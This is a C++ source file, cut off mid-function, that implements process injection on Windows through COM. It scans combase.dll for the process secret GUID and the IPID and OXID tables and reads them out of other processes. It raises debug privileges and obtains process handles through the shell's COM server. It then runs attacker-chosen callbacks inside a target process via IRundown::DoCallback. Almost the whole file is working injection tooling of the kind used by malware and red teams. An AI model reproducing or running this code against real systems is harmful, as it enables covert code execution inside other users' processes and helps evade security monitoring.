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com_inject.cpp
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//
// Process Injection via COM
// cl /EHsc com_inject.cpp
#include "com_inject.h"
#pragma comment(lib, "rpcrt4")
#pragma comment(lib, "ole32")
#pragma comment(lib, "advapi32")
#pragma comment(lib, "shlwapi")
#pragma comment(lib, "dbghelp")
#pragma comment(lib, "crypt32")
#pragma comment(lib, "user32")
#pragma comment(lib, "oleaut32")
#pragma comment(lib, "ntdll")
//
// Read the address and size of the .data segment for combase.dll or ole32.dll
//
bool
get_com_data(COM_CONTEXT* c) {
auto m = (PBYTE)GetModuleHandleW(L"combase");
if (!m) {
// old systems use ole32
m = (PBYTE)GetModuleHandleW(L"ole32");
if (!m) return false;
}
auto nt = (PIMAGE_NT_HEADERS)(m + ((PIMAGE_DOS_HEADER)m)->e_lfanew);
auto sh = IMAGE_FIRST_SECTION(nt);
for (DWORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (*(PDWORD)sh[i].Name == *(PDWORD)".data") {
c->base = m;
c->data = sh[i].VirtualAddress;
c->size = sh[i].Misc.VirtualSize;
return true;
}
}
return false;
}
//
// Search for arbitrary data within the .data segment of combase.dll or ole32.dll and return the RVA.
//
bool
find_com_data(COM_CONTEXT* c, PBYTE inbuf, DWORD inlen, PDWORD rva) {
if (c->size < inlen) return false;
PBYTE addr = (c->base + c->data);
for (DWORD i = 0; i < (c->size - inlen); i++) {
if (!std::memcmp(&addr[i], inbuf, inlen)) {
*rva = (DWORD)(&addr[i] - c->base);
return true;
}
}
return false;
}
//
// Read the offset of OXIDEntry._moxid
//
#define IPID_OFFSET_LEGACY 0x30
#define MOXID_OFFSET_LEGACY 0x18
#define IPID_OFFSET_CURRENT 0xb8
#define MOXID_OFFSET_CURRENT 0xc8
bool
find_oxid_offset(COM_CONTEXT* c) {
CPageAllocator* alloc = (CPageAllocator*)(c->base + c->ipid_tbl);
tagIPIDEntry* entry = (tagIPIDEntry*)alloc->_pgalloc._pPageListStart[0];
PBYTE buf = (PBYTE)entry->pOXIDEntry;
for (UINT ofs = 0; ofs < 256; ofs++) {
if (!std::memcmp(&buf[ofs], (void*)&entry->ipid, sizeof(IPID))) {
if (ofs == IPID_OFFSET_LEGACY) {
c->oxid = MOXID_OFFSET_LEGACY;
}
else if (ofs == IPID_OFFSET_CURRENT) {
c->oxid = MOXID_OFFSET_CURRENT;
}
return true;
}
}
return false;
}
//
// Read the offset of CIPIDTable::_palloc
//
bool
find_ipid_table(COM_CONTEXT* c) {
PULONG_PTR ds = (PULONG_PTR)(c->base + c->data);
DWORD cnt = (c->size - sizeof(CPageAllocator)) / sizeof(ULONG_PTR);
for (DWORD i = 0; i < cnt; i++) {
auto cpage = (CPageAllocator*)&ds[i];
//
// Legacy systems use 0x70, current is 0x78
//
if (cpage->_pgalloc._cbPerEntry >= 0x70)
{
if (cpage->_pgalloc._cEntriesPerPage != 0x32) continue;
if (cpage->_pgalloc._pPageListEnd <= cpage->_pgalloc._pPageListStart) continue;
c->ipid_tbl = (DWORD)((PBYTE)&ds[i] - c->base);
return true;
}
}
return false;
}
//
// Read everything from combase.dll or ole32.dll required to execute
// IRundown::DoCallback() in a remote COM process.
//
bool
init_cc(COM_CONTEXT* ctx) {
bool result = false;
//
// Get pointer to IMarshalEnvoy interface.
//
IMarshalEnvoy* e = NULL;
HRESULT hr = CoGetObjectContext(IID_IMarshalEnvoy, (PVOID*)&e);
if (FAILED(hr)) {
printf("CoGetObjectContext(IID_IMarshalEnvoy) failed : %08lX\n", hr);
return false;
}
//
// Marshal the context header.
// It should contain the secret GUID and heap address of server context.
//
IStream* s = SHCreateMemStream(NULL, 0);
hr = e->MarshalEnvoy(s, MSHCTX_INPROC);
if (FAILED(hr)) {
printf("IMarshalEnvoy::MarshalEnvoy() failed : %08lX\n", hr);
goto cleanup;
}
//
// Read the context header into local buffer.
//
LARGE_INTEGER pos;
pos.QuadPart = 0;
hr = s->Seek(pos, STREAM_SEEK_SET, NULL);
if (FAILED(hr)) {
printf("IStream::Seek() failed : %08lX\n", hr);
goto cleanup;
}
tagCONTEXTHEADER hdr;
DWORD cbBuffer;
hr = s->Read(&hdr, sizeof(hdr), &cbBuffer);
if (FAILED(hr)) {
printf("IStream::read(tagCONTEXTHEADER) failed : %08lX\n", hr);
goto cleanup;
}
printf("Reading information about .data in combase.dll or ole32.dll\n");
result = get_com_data(ctx);
if (!result) goto cleanup;
//
// Locate g_pMTAEmptyCtx
//
printf("Searching for g_pMTAEmptyCtx\n");
result = find_com_data(
ctx,
(PBYTE)&hdr.ByRefHdr.pServerCtx,
sizeof(ULONG_PTR),
&ctx->server_ctx
);
if (!result) goto cleanup;
//
// Locate CProcessSecret::s_guidOle32Secret
//
printf("Searching for CProcessSecret::s_guidOle32Secret\n");
result = find_com_data(
ctx,
(PBYTE)&hdr.ByRefHdr.guidProcessSecret,
sizeof(GUID),
&ctx->secret
);
if (!result) goto cleanup;
//
// Locate CIPIDTable::_palloc and offset of OXID value.
//
printf("Searching for CIPIDTable::_palloc\n");
result = find_ipid_table(ctx);
if (!result) goto cleanup;
//
// Locate OXIDEntry._moxid
//
printf("Searching for OXIDEntry._moxid offset\n");
result = find_oxid_offset(ctx);
cleanup:
if (s) s->Release();
if (e) e->Release();
printf("Leaving. Status : %s\n", result ? "OK" : "FAILED");
return result;
}
//
// Read IPID, OXID, and OID values from a COM process.
//
std::vector<IPID_ENTRY>
get_ipid_entries(PCOM_CONTEXT cc, HANDLE hp) {
PVOID ipid_tbl = (cc->base + cc->ipid_tbl);
CPageAllocator PageAllocator;
std::vector<IPID_ENTRY> ipids;
//
// Read the CPageAllocator class
//
auto r = ReadProcessMemory(
hp,
ipid_tbl,
&PageAllocator,
sizeof(PageAllocator),
NULL
);
//
// This usually means the remote process has no COM.
//
if (!r) {
//printf("ReadProcessMemory(PageAllocator) failed : %ld\n", GetLastError());
return {};
}
//
// Read the array of page addresses.
//
ULONG64 page_cnt = PageAllocator._pgalloc._cPages;
std::vector<PULONG_PTR> pages(page_cnt);
PVOID page_addr = PageAllocator._pgalloc._pPageListStart;
r = ReadProcessMemory(
hp,
page_addr,
pages.data(),
page_cnt * sizeof(ULONG_PTR),
NULL
);
if (!r) {
printf("ReadProcessMemory(_pPageListStart) failed : %ld\n", GetLastError());
return {};
}
//
// For each page found.
//
for (ULONG64 i = 0; i < page_cnt; i++) {
DWORD ipid_cnt = PageAllocator._pgalloc._cEntriesPerPage;
std::vector<IPIDEntry> entries(ipid_cnt);
//
// Read array of IPID entries.
//
r = ReadProcessMemory(
hp,
(LPCVOID)pages[i],
entries.data(),
ipid_cnt * sizeof(IPIDEntry),
NULL
);
if (!r) {
printf("ReadProcessMemory(pages[%lld]) failed : %ld\n", i, GetLastError());
continue;
}
//
// For each IPID
//
for (DWORD j = 0; j < ipid_cnt; j++) {
// skip inactive entries
if (!entries[j].pOXIDEntry || !entries[j].dwFlags) continue;
if (entries[j].dwFlags & (IPIDF_DISCONNECTED | IPIDF_DEACTIVATED)) continue;
//
// Only save IRundown?
//
if (!cc->verbose && entries[j].iid != IID_IRundown) continue;
IPID_ENTRY ci = { 0 };
ci.iid = entries[j].iid;
ci.ipid = entries[j].ipid;
PBYTE pOXIDEntry = (PBYTE)entries[j].pOXIDEntry;
//
// Read the _moxid value. (OXID and OID)
//
union {
BYTE b[16];
DWORD64 q[2];
} tmp{ 0 };
r = ReadProcessMemory(
hp,
(LPCVOID)(pOXIDEntry + cc->oxid),
&tmp,
sizeof(tmp),
NULL
);
if (!r) {
/**printf("ReadProcessMemory(pOXIDEntry._moxid=%p) failed : %ld\n",
(PVOID)(pOXIDEntry + cc->oxid),
GetLastError()
);*/
continue;
}
ci.oxid = (OXID)tmp.q[0];
ci.oid = (OID)tmp.q[1];
// skip NULL OXID or OID entries
if (!ci.oxid || !ci.oid) continue;
ipids.push_back(ci);
}
}
return ipids;
}
//
// Query information about a process token.
//
std::vector<BYTE>
QueryProcessTokenInformation(
HANDLE hp,
TOKEN_INFORMATION_CLASS cls)
{
//
// Open the process token.
//
HANDLE tkn;
BOOL r = OpenProcessToken(
hp,
TOKEN_QUERY,
&tkn
);
if (!r) return {};
DWORD outlen = 0;
//
// Get the size of memory required for information.
//
r = GetTokenInformation(
tkn,
cls,
NULL,
0,
&outlen);
DWORD err = GetLastError();
std::vector<BYTE> outbuf;
if (err == ERROR_INSUFFICIENT_BUFFER ||
err == ERROR_BAD_LENGTH) // TokenSessionId
{
outbuf.resize(outlen);
GetTokenInformation(
tkn,
cls,
outbuf.data(),
outlen,
&outlen
);
}
CloseHandle(tkn);
return outbuf;
}
//
// Return the Integrity Level (IL) of process.
//
const wchar_t*
GetProcessIL(HANDLE hp) {
PTOKEN_MANDATORY_LABEL tml;
std::vector<BYTE> outbuf;
outbuf = QueryProcessTokenInformation(
hp,
TokenIntegrityLevel
);
if (outbuf.empty()) return L"Error";
tml = (PTOKEN_MANDATORY_LABEL)outbuf.data();
DWORD cnt = (DWORD)(UCHAR)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1);
DWORD level = *GetSidSubAuthority(tml->Label.Sid, cnt);
if (level < SECURITY_MANDATORY_LOW_RID) return L"Untrusted";
if (level < SECURITY_MANDATORY_MEDIUM_RID) return L"Low";
if (level < SECURITY_MANDATORY_HIGH_RID) return L"Medium";
if (level < SECURITY_MANDATORY_SYSTEM_RID) return L"High";
if (level < SECURITY_MANDATORY_PROTECTED_PROCESS_RID) return L"System";
return L"ProtectedProcess";
}
//
// Determine if process is elevated.
//
BOOL
IsProcessElevated(HANDLE hp) {
PTOKEN_ELEVATION te;
std::vector<BYTE> outbuf;
outbuf = QueryProcessTokenInformation(
hp,
TokenElevation
);
if (outbuf.empty()) return FALSE;
te = (PTOKEN_ELEVATION)outbuf.data();
return te->TokenIsElevated;
}
//
// Return the user name of a process.
//
std::wstring
GetProcessUser(HANDLE hp) {
PTOKEN_USER tu = NULL;
std::vector<BYTE> outbuf;
outbuf = QueryProcessTokenInformation(
hp,
TokenUser
);
if (outbuf.empty()) return L"Error";
tu = (PTOKEN_USER)outbuf.data();
DWORD userLen = 0, domainLen = 0;
SID_NAME_USE Snu;
BOOL r = LookupAccountSidW(
NULL,
tu->User.Sid,
NULL,
&userLen,
NULL,
&domainLen,
&Snu
);
std::wstring user(userLen - 1, L'\0');
std::wstring domain(domainLen - 1, L'\0');
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
r = LookupAccountSidW(
NULL,
tu->User.Sid,
&user[0],
&userLen,
&domain[0],
&domainLen,
&Snu
);
if (r) {
if (domainLen) {
user = domain + L'\\' + user;
}
}
}
return user;
}
//
// List IPID entries for a process.
//
void
DumpIPID(PCOM_CONTEXT ctx, PPROCESSENTRY32 pe) {
HANDLE hp = OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
pe->th32ProcessID
);
if (!hp) {
//printf("OpenProcess(%ld) failed : %ld\n", pe->th32ProcessID, GetLastError());
return;
}
std::vector<IPID_ENTRY> entries = get_ipid_entries(ctx, hp);
if (!entries.size()) {
//printf("No IPID entries found.\n");
goto leave;
}
printf("\n**************************************"
"\nProcess : %lS [%ld]"
"\nUser : %lS"
"\nIL : %lS"
"\nElevated : %lS\n\n",
pe->szExeFile,
pe->th32ProcessID,
GetProcessUser(hp).c_str(),
GetProcessIL(hp),
IsProcessElevated(hp) ? L"Yes" : L"No"
);
for (auto x : entries) {
LPOLESTR iid = NULL;
StringFromIID((const IID&)x.iid, &iid);
LPOLESTR ipid = NULL;
StringFromIID((const IID&)x.ipid, &ipid);
LPOLESTR oxid = NULL;
StringFromIID((const IID&)x.oxid, &oxid);
std::wstring path = L"Interface\\" + std::wstring(iid);
WCHAR iface[MAX_PATH + 1] = { 0 };
DWORD len = MAX_PATH;
LSTATUS lStatus = RegGetValueW(
HKEY_CLASSES_ROOT,
path.c_str(),
NULL,
RRF_RT_REG_SZ,
NULL,
iface,
&len
);
if (lStatus == ERROR_SUCCESS) {
printf("IPID:%lS,OXID:%lS : %lS\n",
ipid ? ipid : L"N/A",
oxid ? oxid : L"N/A",
iface);
}
if (ipid) CoTaskMemFree(ipid);
if (iid) CoTaskMemFree(iid);
if (oxid) CoTaskMemFree(oxid);
}
leave:
CloseHandle(hp);
}
//
// Enumerate IPID for all processes except our own.
//
void
ListIPID(PCOM_CONTEXT cc) {
auto ss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (ss == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot() failed : %ld\n", GetLastError());
return;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(ss, &pe)) {
do {
if (pe.th32ProcessID <= 4 || pe.th32ProcessID == GetCurrentProcessId() ||
(cc->pid && cc->pid != pe.th32ProcessID)) continue;
//printf("Dumping %ld...\n", pe.th32ProcessID);
DumpIPID(cc, &pe);
} while (Process32Next(ss, &pe));
}
CloseHandle(ss);
}
//
// Try enable SeDebugPrivilege in current process token.
//
bool
EnableDebugPrivilege(void) {
HANDLE t;
auto r = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &t);
if (!r) return false;
TOKEN_PRIVILEGES p = { 1,LUID{20,0},SE_PRIVILEGE_ENABLED };
AdjustTokenPrivileges(t, FALSE, &p, 0, NULL, NULL);
r = GetLastError() == ERROR_SUCCESS;
CloseHandle(t);
return r;
}
//
// Get a process handle via ICoreShellComServerRegistrar::OpenProcess()
//
bool
OpenProcessWithCOM(
DWORD dwProcessId,
DWORD dwDesiredAccess,
PHANDLE lpProcessHandle)
{
ICoreShellComServerRegistrar* pShellComServer = NULL;
//
// Connect to the Core Shell Server in sihost.exe
//
auto hr = CoCreateInstance(
CLSID_CoreShellComServerRegistrar,
NULL,
CLSCTX_LOCAL_SERVER,
IID_ICoreShellComServerRegistrar,
(void**)&pShellComServer
);
if (FAILED(hr)) {
printf("CoCreateInstance(ICoreShellComServerRegistrar) failed : %08lX\n", hr);
return false;
}
//
// Try to open the target process and duplicate the handle into this process.
//
hr = pShellComServer->OpenProcess(
dwDesiredAccess,
FALSE,
dwProcessId,
GetCurrentProcessId(),
lpProcessHandle
);
pShellComServer->Release();
if (FAILED(hr)) {
printf("ICoreShellComServerRegistrar::OpenProcess(%ld) failed : %08lX\n", dwProcessId, hr);
return false;
}
return true;
}
//
// IShellView
//
HRESULT
GetDesktopShellView(REFIID riid, void** ppv) {
*ppv = NULL;
IShellWindows* psw;
auto hr = CoCreateInstance(
CLSID_ShellWindows,
NULL,
CLSCTX_LOCAL_SERVER,
IID_PPV_ARGS(&psw)
);
if (SUCCEEDED(hr)) {
HWND hwnd;
IDispatch* pdisp;
VARIANT vEmpty = {};
hr = psw->FindWindowSW(
&vEmpty,
&vEmpty,
SWC_DESKTOP,
(LONG*)&hwnd,
SWFO_NEEDDISPATCH,
&pdisp
);
if (SUCCEEDED(hr)) {
IShellBrowser* psb;
hr = IUnknown_QueryService(
pdisp,
SID_STopLevelBrowser,
IID_PPV_ARGS(&psb)
);
if (SUCCEEDED(hr)) {
IShellView* psv;
hr = psb->QueryActiveShellView(&psv);
if (SUCCEEDED(hr)) {
hr = psv->QueryInterface(riid, ppv);
psv->Release();
}
psb->Release();
}
pdisp->Release();
}
psw->Release();
}
return hr;
}
//
//
//
HRESULT
GetShellDispatch(
IShellView* psv,
REFIID riid,
void** ppv)
{
*ppv = NULL;
IDispatch* pdispBackground;
auto hr = psv->GetItemObject(
SVGIO_BACKGROUND,
IID_PPV_ARGS(&pdispBackground));
if (SUCCEEDED(hr)) {
IShellFolderViewDual* psfvd;
hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));
if (SUCCEEDED(hr)) {
IDispatch* pdisp;
hr = psfvd->get_Application(&pdisp);
if (SUCCEEDED(hr)) {
hr = pdisp->QueryInterface(riid, ppv);
pdisp->Release();
}
psfvd->Release();
}
pdispBackground->Release();
}
return hr;
}
//
// Spawn a new process using explorer.exe
//
BOOL
ShellExecInExplorer(PCWSTR lpszFile) {
auto bstrFile = SysAllocString(lpszFile);
if (!bstrFile) return FALSE;
IShellView* psv;
auto hr = GetDesktopShellView(IID_PPV_ARGS(&psv));
if (SUCCEEDED(hr)) {
IShellDispatch2* psd;
hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));
if (SUCCEEDED(hr)) {
VARIANT vtEmpty = {};
hr = psd->ShellExecuteW(
bstrFile,
vtEmpty,
vtEmpty,
vtEmpty,
vtEmpty
);
psd->Release();
}
psv->Release();
}
SysFreeString(bstrFile);
return SUCCEEDED(hr);
}
//
// Encode binary with Base64.
//
std::wstring
base64_encode(PVOID inbuf, DWORD inlen) {
// Get the length of output
DWORD outlen;
CryptBinaryToStringW(
(const PBYTE)inbuf,
inlen,
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
NULL,
&outlen
);
std::wstring outbuf(outlen - 1, L'\0');
CryptBinaryToStringW(
(const PBYTE)inbuf,
inlen,
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
&outbuf[0],
&outlen
);
return outbuf;
}
//
// Use CoGetObject() or CoUnmarshalInterface()
// to establish connection to an IRundown instance in a remote process.
//
bool
ConnectToIRundown(
PCOM_CONTEXT cc,
PRUNDOWN_CONTEXT rc,
IRundown** rundown)
{
OBJREF objRef = { 0 };
// set the header info to request the IRundown interface (OBJREF)
objRef.signature = OBJREF_SIGNATURE; // "MEOW"
objRef.flags = OBJREF_STANDARD; // type
objRef.iid = IID_IRundown;
// set the standard object (STDOBJREF)
objRef.u_objref.u_standard.std.flags = 0; //
objRef.u_objref.u_standard.std.cPublicRefs = 1; // how many references
objRef.u_objref.u_standard.std.oid = rc->oid;
objRef.u_objref.u_standard.std.oxid = rc->oxid;
objRef.u_objref.u_standard.std.ipid = rc->ipid;
// set the resolve address. (DUALSTRINGARRAY)
objRef.u_objref.u_standard.saResAddr.wNumEntries = 0;
objRef.u_objref.u_standard.saResAddr.wSecurityOffset = 0;
HRESULT hr;
if (cc->use_objref) {
std::wstring name = std::wstring(L"OBJREF:") +
base64_encode(&objRef, sizeof(objRef)) + L":";
//
// Connect.
//
hr = CoGetObject(
name.c_str(),
NULL,
IID_IRundown,
(void**)rundown
);
if (FAILED(hr)) {
printf("CoGetObject(IRundown) failed : %08lX\n", hr);
return false;
}
}
else {
//
// Create IStream object and save OBJREF
//
IStream* pstm = SHCreateMemStream(NULL, 0);
pstm->Write(&objRef, sizeof(objRef), NULL);
//
// Set position to start.
//
LARGE_INTEGER pos{ 0 };
pstm->Seek(pos, STREAM_SEEK_SET, NULL);
//
// Connect.
//
hr = CoUnmarshalInterface(
pstm,
IID_IRundown,
(void**)rundown
);
pstm->Release();
if (FAILED(hr)) {
printf("CoUnmarshalInterface(IRundown) failed : %08lX\n", hr);
return false;
}
}
return true;
}
//
// Read the contents of file on disk and return as std::vector<BYTE>
//
std::vector<BYTE>
read_file_data(std::wstring path) {
std::ifstream instream(path, std::ios::in | std::ios::binary);
if (instream.bad()) return {};
std::vector<BYTE> data((std::istreambuf_iterator<char>(instream)), std::istreambuf_iterator<char>());
return data;
}
//
// Convert a process name to process id.
// Picks the first one found.
//
DWORD
name2pid(LPWSTR ImageName) {
// create snapshot of system
auto ss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (ss == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof(PROCESSENTRY32);
DWORD pid = 0;
if (Process32First(ss, &pe)) {
do {
if (!lstrcmpi(ImageName, pe.szExeFile)) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(ss, &pe));
}
CloseHandle(ss);
return pid;
}
//
// Execute code using IRundown::DoCallback()
//
bool
invoke_docallback(PCOM_CONTEXT cc, PRUNDOWN_CONTEXT rc) {
LPOLESTR ipid = NULL;
StringFromIID((const IID&)rc->ipid, &ipid);
printf("pServerCtx : %p\n", rc->pServerCtx);
printf("IPID : %lS\n", ipid);
printf("OXID : 0x%016llX\n", rc->oxid);
printf("pfnCallback : %p\n", rc->pfnCallback);
printf("pParam : %p\n", rc->pParam);
IRundown* rundown = NULL;
if (!ConnectToIRundown(cc, rc, &rundown)) {
printf("ConnectToIRundown() failed.\n");
return false;
}
XAptCallback params = { 0 };
params.guidProcessSecret = rc->guidProcessSecret;
params.pServerCtx = (PTRMEM)rc->pServerCtx;
params.pfnCallback = (PTRMEM)rc->pfnCallback;
params.pParam = (PTRMEM)rc->pParam;
printf("Executing IRundown::DoCallback(%p)\n", rc->pfnCallback);
HRESULT hr = rundown->DoCallback(¶ms);
//
// if the error is 'The array bounds are invalid'
//
if (hr == 0x800706C6) {
//
// Use the legacy interface.
//
printf("Executing IRundown::DoCallback(%p) for legacy systems\n", rc->pfnCallback);
IRundownLegacy* rundown_old = (IRundownLegacy*)rundown;
hr = rundown_old->DoCallback(¶ms);
}
rundown->Release();
if (FAILED(hr)) {
printf("IRundown::DoCallback() failed : %08lX\n", hr);
return false;
}
else {
printf("Execution succeeded.\n");
}
return true;
}
//
// Read the GUID secret, server context and IPID entry in a COM process.
//
bool